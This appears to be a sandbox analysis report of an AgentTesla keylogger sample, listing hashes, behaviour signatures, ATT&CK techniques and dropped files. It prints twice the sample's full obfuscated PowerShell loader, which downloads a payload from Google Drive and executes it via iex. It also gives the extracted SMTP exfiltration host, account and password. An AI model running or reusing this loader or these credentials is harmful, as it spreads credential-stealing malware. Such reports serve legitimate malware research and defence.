agenttesla | b4f1081d88ac2d9a768d94a5aa3c685644835336f5642637005b4f74db407a94

General

Target

b4f1081d88ac2d9a768d94a5aa3c685644835336f5642637005b4f74db407a94.vbs
Size

4KB
MD5

da84b84acab58afbc2549d0313d7a27d
SHA1

f9b2f7c8a1095a0a92b1c11ffad1db6f3e60ddcd
SHA256

b4f1081d88ac2d9a768d94a5aa3c685644835336f5642637005b4f74db407a94
SHA512

ed14edb9c28960454971bc4766109cff1e3195258fb1c2c15d25ec61592c49cef9b5afe01ca477254f73d16b81c0b9a2093bb35fb78861ae11e98876e96a3029
SSDEEP

96:QSUGGWOfwEq8apLbxVgsUkx0PONZDYwAqn/Q6oej2EjsCXdLKUfp:QS7GWC6Lb7dFGWNZDzhnouj2EQCXFbfp

Score

10^/10

agenttesla keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.raczki.pl
Port:
587
Username:
[email protected]
Password:
obslugaradygminy
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

5 2664 powershell.exe
7 2664 powershell.exe

flow	pid	process
5	2664	powershell.exe
7	2664	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

wab.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Windows\CurrentVersion\Run\fMNDB = "C:\\Users\\Admin\\AppData\\Roaming\\fMNDB\\fMNDB.exe"	wab.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

4 drive.google.com
5 drive.google.com
9 drive.google.com
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

wab.exe

pid process

2912 wab.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exewab.exe

pid process

2464 powershell.exe
2912 wab.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2464 set thread context of 2912 2464 powershell.exe wab.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exewab.exe

pid process

2664 powershell.exe
2464 powershell.exe
2464 powershell.exe
2912 wab.exe
2912 wab.exe
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

2464 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exewab.exe

description pid process

Token: SeDebugPrivilege 2664 powershell.exe
Token: SeDebugPrivilege 2464 powershell.exe
Token: SeDebugPrivilege 2912 wab.exe

flow	ioc
4	drive.google.com
5	drive.google.com
9	drive.google.com

pid	process
2912	wab.exe

pid	process
2464	powershell.exe
2912	wab.exe

description	pid	process	target process
PID 2464 set thread context of 2912	2464	powershell.exe	wab.exe

pid	process
2664	powershell.exe
2464	powershell.exe
2464	powershell.exe
2912	wab.exe
2912	wab.exe

pid	process
2464	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2664	powershell.exe
Token: SeDebugPrivilege	2464	powershell.exe
Token: SeDebugPrivilege	2912	wab.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 2864 wrote to memory of 2664	2864	WScript.exe	powershell.exe
PID 2864 wrote to memory of 2664	2864	WScript.exe	powershell.exe
PID 2864 wrote to memory of 2664	2864	WScript.exe	powershell.exe
PID 2664 wrote to memory of 2480	2664	powershell.exe	cmd.exe
PID 2664 wrote to memory of 2480	2664	powershell.exe	cmd.exe
PID 2664 wrote to memory of 2480	2664	powershell.exe	cmd.exe
PID 2664 wrote to memory of 2464	2664	powershell.exe	powershell.exe
PID 2664 wrote to memory of 2464	2664	powershell.exe	powershell.exe
PID 2664 wrote to memory of 2464	2664	powershell.exe	powershell.exe
PID 2664 wrote to memory of 2464	2664	powershell.exe	powershell.exe
PID 2464 wrote to memory of 2908	2464	powershell.exe	cmd.exe
PID 2464 wrote to memory of 2908	2464	powershell.exe	cmd.exe
PID 2464 wrote to memory of 2908	2464	powershell.exe	cmd.exe
PID 2464 wrote to memory of 2908	2464	powershell.exe	cmd.exe
PID 2464 wrote to memory of 2912	2464	powershell.exe	wab.exe
PID 2464 wrote to memory of 2912	2464	powershell.exe	wab.exe
PID 2464 wrote to memory of 2912	2464	powershell.exe	wab.exe
PID 2464 wrote to memory of 2912	2464	powershell.exe	wab.exe
PID 2464 wrote to memory of 2912	2464	powershell.exe	wab.exe
PID 2464 wrote to memory of 2912	2464	powershell.exe	wab.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\b4f1081d88ac2d9a768d94a5aa3c685644835336f5642637005b4f74db407a94.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2864

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Slipsloppism='Sub';$Slipsloppism+='strin';$Lgelige = 1;$Slipsloppism+='g';Function Floskulatur($Erigeronnderzonen){$Perfected=$Erigeronnderzonen.Length-$Lgelige;For($Erigeron=1;$Erigeron -lt $Perfected;$Erigeron+=2){$Tressels+=$Erigeronnderzonen.$Slipsloppism.Invoke( $Erigeron, $Lgelige);}$Tressels;}function Posrs($Homme){. ($Pinier69) ($Homme);}$Delkoral=Floskulatur ' MPoNz i l l a / 5e.T0j J(.W iRnMd oRw sC NIT 1,0n.K0I;K WHiSn 6 4.; x 6,4 ;F ,rSvS:.1 2F1F. 0 )D SGFe.c k oI/ 2.0C1B0S0G1M0A1T UF iSr eAfSo x./ 1 2 1F.B0D ';$ophedning=Floskulatur 'NU s eCrS- ASgCeFnFtP ';$Festligstes=Floskulatur 'Sh t.tsp s : /./,d.rGiRvTeN.,gWoBo gAl e .Tc o.mU/Pu cR?OeJxNpTo,rIt,=RdEo w nAlDonaId,&,i,d.=T1 6DtPb XF4 oGYIG sT4,4Iv,R NTDDjCJ,otABp 8 _ CIPAz.d.V,crwS0 QMo, ';$Transpirer=Floskulatur 'S> ';$Pinier69=Floskulatur 'di.e.xG ';$Molekyle='Ejerpantebreve';$Hungerramt = Floskulatur ' e,c hUo .% a p pMd aSt,a % \ T o r nGtPaFpFp,eSn .FI,nOf. H&F& KeFc hDo BtA ';Posrs (Floskulatur ' $Sg,l.oKbDa.lK:STGewt rSascLaCr,b,oSx,y l.iSc =s(AcFmNdP C/IcP $OH u n,g eKr,r.agmKt ) ');Posrs (Floskulatur '.$Rg l.o b a l,: G r.o,u,n.dtwGoZrNkP=I$TF,e,s t,lBi.gAs,tUeLs,.Us.pEl,i.t (,$MTCr aBnMsPpGiFreeUr.). ');$Festligstes=$Groundwork[0];$Tystner= (Floskulatur 'B$GgMl,o,bTaDlT: KEi w i eQn,s 1,1 =FN.e w.-,O b,jMe c tS ,S y s tSe.m . NDeHtS.MWMe b C lSi e.n t');$Tystner+=$Tetracarboxylic[1];Posrs ($Tystner);Posrs (Floskulatur 'R$.KSi w.i.eAnAs,1R1I.HHDeLaSdFeMrRsM[M$ oCpah e.d.nYi n,gS],=D$ DLeFlTkwoSrIa l ');$Sommerstvne=Floskulatur '.$BKSiJwBi e,n sR1I1 .PDRoSwDn.l oea,dAFSiPl eW(H$BFIe s t l iAgks tLeTsA,T$ KuaPfTf eTp.uCn.cRhg)G ';$Kaffepunch=$Tetracarboxylic[0];Posrs (Floskulatur '.$Pg lAo.bEa lE: DPi.dBdSl,iSeBs =E( T e s tG- P.aKt,h. G$ K,aPfTf,eLpCu,n cLhL)V ');while (!$Diddlies) {Posrs (Floskulatur ' $bg.l,o,bEaKlr: A nIt i,eRmdpTeArBoWr 3.=E$.t,rDu eC ') ;Posrs $Sommerstvne;Posrs (Floskulatur ' S tNa r tI-AS.l.eSe p S4b ');Posrs (Floskulatur ' $Og,l o bAa lW:FD i dLd,l i eFsP=.( THeGs,t - P aKtLh $ Kda f f.e p,u nKcWh )c ') ;Posrs (Floskulatur 'H$Pg,lso b aMl.:,PNr e e n l i sDtMm.eDnAt sB=.$,gBl oSbKaPl : S e r fUaBgme,sU+F+ %U$DG rBoRu.n.dLw oLr kU.Pc.o u n.tO ') ;$Festligstes=$Groundwork[$Preenlistments];}$blomstergartnere=344026;$Antioxidizings=25954;Posrs (Floskulatur ' $,g l o bAaOlH: UBdAn.vMn t e,s, ,=F GBe.t - CKo nStDeLnBt, P$,K aUf f eSpSu n cRhO ');Posrs (Floskulatur 'I$ g lNo bda.lI:KNUaDvUe tSt e S= H[OSJy,s.tVePmR.JC,oBnBv,e.r,tD] : :SFTrGoFmCB aPsOeF6S4aSStVr iNnRgS(I$DUOdAn vFn tSe sS)P ');Posrs (Floskulatur 'S$ g.lCoAbMaCl,:AP r o.g r aRm mGrMePr n e, .= S[,S yAs.t eBm . TTe.x tP.DEFn c o d,iEn gS]i:N:TA SPCMIcIS.FG e t STt r i n g.(,$ NMa.v e,tMtBe,)R ');Posrs (Floskulatur ' $,gSl o bAaSlS:,K a a.rFeFn d.eSsB1,0,=O$,PSrIo,g rRaPmUm r e r n eV.,sSuBb sRtUrTi nNg ( $Bb lIoVmIsSt,eAr.gRa,rKt,n.e rKeA, $FA,n.tHiSoOxRiCd.i z iDnDg s.)P ');Posrs $Kaarendes10;"
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2664

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Torntappen.Inf && echo t"
3⤵
PID:2480

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Slipsloppism='Sub';$Slipsloppism+='strin';$Lgelige = 1;$Slipsloppism+='g';Function Floskulatur($Erigeronnderzonen){$Perfected=$Erigeronnderzonen.Length-$Lgelige;For($Erigeron=1;$Erigeron -lt $Perfected;$Erigeron+=2){$Tressels+=$Erigeronnderzonen.$Slipsloppism.Invoke( $Erigeron, $Lgelige);}$Tressels;}function Posrs($Homme){. ($Pinier69) ($Homme);}$Delkoral=Floskulatur ' MPoNz i l l a / 5e.T0j J(.W iRnMd oRw sC NIT 1,0n.K0I;K WHiSn 6 4.; x 6,4 ;F ,rSvS:.1 2F1F. 0 )D SGFe.c k oI/ 2.0C1B0S0G1M0A1T UF iSr eAfSo x./ 1 2 1F.B0D ';$ophedning=Floskulatur 'NU s eCrS- ASgCeFnFtP ';$Festligstes=Floskulatur 'Sh t.tsp s : /./,d.rGiRvTeN.,gWoBo gAl e .Tc o.mU/Pu cR?OeJxNpTo,rIt,=RdEo w nAlDonaId,&,i,d.=T1 6DtPb XF4 oGYIG sT4,4Iv,R NTDDjCJ,otABp 8 _ CIPAz.d.V,crwS0 QMo, ';$Transpirer=Floskulatur 'S> ';$Pinier69=Floskulatur 'di.e.xG ';$Molekyle='Ejerpantebreve';$Hungerramt = Floskulatur ' e,c hUo .% a p pMd aSt,a % \ T o r nGtPaFpFp,eSn .FI,nOf. H&F& KeFc hDo BtA ';Posrs (Floskulatur ' $Sg,l.oKbDa.lK:STGewt rSascLaCr,b,oSx,y l.iSc =s(AcFmNdP C/IcP $OH u n,g eKr,r.agmKt ) ');Posrs (Floskulatur '.$Rg l.o b a l,: G r.o,u,n.dtwGoZrNkP=I$TF,e,s t,lBi.gAs,tUeLs,.Us.pEl,i.t (,$MTCr aBnMsPpGiFreeUr.). ');$Festligstes=$Groundwork[0];$Tystner= (Floskulatur 'B$GgMl,o,bTaDlT: KEi w i eQn,s 1,1 =FN.e w.-,O b,jMe c tS ,S y s tSe.m . NDeHtS.MWMe b C lSi e.n t');$Tystner+=$Tetracarboxylic[1];Posrs ($Tystner);Posrs (Floskulatur 'R$.KSi w.i.eAnAs,1R1I.HHDeLaSdFeMrRsM[M$ oCpah e.d.nYi n,gS],=D$ DLeFlTkwoSrIa l ');$Sommerstvne=Floskulatur '.$BKSiJwBi e,n sR1I1 .PDRoSwDn.l oea,dAFSiPl eW(H$BFIe s t l iAgks tLeTsA,T$ KuaPfTf eTp.uCn.cRhg)G ';$Kaffepunch=$Tetracarboxylic[0];Posrs (Floskulatur '.$Pg lAo.bEa lE: DPi.dBdSl,iSeBs =E( T e s tG- P.aKt,h. G$ K,aPfTf,eLpCu,n cLhL)V ');while (!$Diddlies) {Posrs (Floskulatur ' $bg.l,o,bEaKlr: A nIt i,eRmdpTeArBoWr 3.=E$.t,rDu eC ') ;Posrs $Sommerstvne;Posrs (Floskulatur ' S tNa r tI-AS.l.eSe p S4b ');Posrs (Floskulatur ' $Og,l o bAa lW:FD i dLd,l i eFsP=.( THeGs,t - P aKtLh $ Kda f f.e p,u nKcWh )c ') ;Posrs (Floskulatur 'H$Pg,lso b aMl.:,PNr e e n l i sDtMm.eDnAt sB=.$,gBl oSbKaPl : S e r fUaBgme,sU+F+ %U$DG rBoRu.n.dLw oLr kU.Pc.o u n.tO ') ;$Festligstes=$Groundwork[$Preenlistments];}$blomstergartnere=344026;$Antioxidizings=25954;Posrs (Floskulatur ' $,g l o bAaOlH: UBdAn.vMn t e,s, ,=F GBe.t - CKo nStDeLnBt, P$,K aUf f eSpSu n cRhO ');Posrs (Floskulatur 'I$ g lNo bda.lI:KNUaDvUe tSt e S= H[OSJy,s.tVePmR.JC,oBnBv,e.r,tD] : :SFTrGoFmCB aPsOeF6S4aSStVr iNnRgS(I$DUOdAn vFn tSe sS)P ');Posrs (Floskulatur 'S$ g.lCoAbMaCl,:AP r o.g r aRm mGrMePr n e, .= S[,S yAs.t eBm . TTe.x tP.DEFn c o d,iEn gS]i:N:TA SPCMIcIS.FG e t STt r i n g.(,$ NMa.v e,tMtBe,)R ');Posrs (Floskulatur ' $,gSl o bAaSlS:,K a a.rFeFn d.eSsB1,0,=O$,PSrIo,g rRaPmUm r e r n eV.,sSuBb sRtUrTi nNg ( $Bb lIoVmIsSt,eAr.gRa,rKt,n.e rKeA, $FA,n.tHiSoOxRiCd.i z iDnDg s.)P ');Posrs $Kaarendes10;"
3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2464

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Torntappen.Inf && echo t"
4⤵
PID:2908

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
4⤵
- Adds Run key to start application
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2912

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Resource Development

Reconnaissance

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\04SPGSNHGL5XICE4C5FZ.temp
Filesize
7KB

MD5
7579f071f9d64f8cedae44796e28de9b

SHA1
b2000463a4cc11ac3252692d447f8fc9ed6f94ff

SHA256
1d9d4a03b1010d4312e47ce5def1d158b37f491cce7befe655215d7854d206b9

SHA512
2d56d5b178b0a1788e28bcbd3fc8755fe9cf052ac3203738ba20eba56a7795e9a5f36a3ed6d8ebd72eb604a8e86aa26b9004e9047d1730b3bbfe4a9cd2885f09

Download Submit
C:\Users\Admin\AppData\Roaming\Torntappen.Inf
Filesize
481KB

MD5
af362ac0f71c354e02c2f692a94d3755

SHA1
f6667c8657dce705f35731ec0cda5bcea418826c

SHA256
ab4a7ac83a0974c4125388864e9552d5d9693937da3f438d98489cc725e4d4e9

SHA512
c4a3dfd681a1b6a40a12434d52030854d677780d00a65e970082bd004058fb74c80901bcdbfb439734d286a4e4e174f17a994a5b483c7eb016e7d45018a92de2

Download Submit
memory/2464-19-0x0000000006450000-0x000000000A00A000-memory.dmp

Filesize
59.7MB

Download
memory/2664-5-0x000000001B600000-0x000000001B8E2000-memory.dmp

Filesize
2.9MB

Download
memory/2664-8-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

Filesize
9.6MB

Download
memory/2664-9-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

Filesize
9.6MB

Download
memory/2664-10-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

Filesize
9.6MB

Download
memory/2664-11-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

Filesize
9.6MB

Download
memory/2664-6-0x0000000001F70000-0x0000000001F78000-memory.dmp

Filesize
32KB

Download
memory/2664-7-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

Filesize
9.6MB

Download
memory/2664-17-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

Filesize
9.6MB

Download
memory/2664-18-0x000007FEF58CE000-0x000007FEF58CF000-memory.dmp

Filesize
4KB

Download
memory/2664-4-0x000007FEF58CE000-0x000007FEF58CF000-memory.dmp

Filesize
4KB

Download
memory/2664-44-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

Filesize
9.6MB

Download
memory/2912-43-0x0000000000860000-0x00000000018C2000-memory.dmp

Filesize
16.4MB

Download
memory/2912-45-0x0000000000860000-0x00000000008A2000-memory.dmp

Filesize
264KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads